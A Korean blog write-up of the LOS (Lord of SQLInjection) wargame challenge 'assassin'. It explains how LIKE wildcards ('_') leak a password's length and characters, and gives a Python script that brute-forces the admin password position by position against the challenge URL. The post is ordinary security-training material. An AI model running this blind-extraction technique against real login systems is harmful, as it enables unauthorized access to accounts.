agencies

LOS assassin 문제 풀이 본문

Ⅲ. 정보보안

LOS assassin 문제 풀이

agencies 2024. 3. 10. 15:15

 

지금까지 보았던 pw = 형식과 다르게 like를 사용하는 모습을 볼 수 있었습니다.

검색을 해보니... like를 통해 와일드카드를 사용할 수 있다고 합니다.

 

이를 통해 패스워드의 길이와 값을 알아낼 수 있다고 합니다.

 

 

_를 8번 입력하니 Hello  guest가 나타났습니다.

 

앞에 9를 입력하고 나머지는 글자수만큼 _로 채워줬습니다.

 


 

패스워드가 8자리만 나타나야하는데 계속 파이썬 스크립트 코드가 돌아가는 모습을 볼 수 있었습니다.

* flag 변수 한개만 있었네요..

스크립트의 잘못된 부분을 찾아보기 위해 하나씩 대입하던 중 902_____를 입력했더니 문제를 풀었다고 합니다.

guest는 패스워드가 나타났으나...

admin 같은 경우 아래의 사진처럼 guest의 패스워드가 중복이 되어 패스워드가 나오지 않았다를 유추할 수 있었습니다.

 

 

 

수정된 파이썬 스크립트

import requests as r

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="
dic = "90abcdef12345678"


i=8
flag = ""
guest = ""
#패스워드 검사
for j in range(1,i+1):
    l = "_"*int(i-j)
    ll = "_"*int(j-1)
    
    for k in dic:
        p = "{0}{1}{2}".format(ll,k,l)

        res = r.get(url+p,cookies={"PHPSESSID":"vgjb9eaaankiq042bvju3up9ll"})

        if "Hello admin" in res.text:
            flag+=k
            print("[*] flag password is :",flag)
        if "Hello guest" in res.text:
            guest+=k
            print("guest password :",guest)

        if (k == "8") and (len(flag)<len(guest)):
            flag+=guest[j-1]
            print("[*] flag password is :",flag)

 

 

'Ⅲ. 정보보안' 카테고리의 다른 글

[프로젝트] LOS v0.3  (0) 2024.03.11
해커스쿨 강좌실 : SQL Injection for Expert (rubiya)  (0) 2024.03.11
[프로젝트] LOS v0.2  (0) 2024.03.10
LOS 문제풀이 : orge  (0) 2024.03.09
[프로젝트] LOS v0.1  (0) 2024.03.09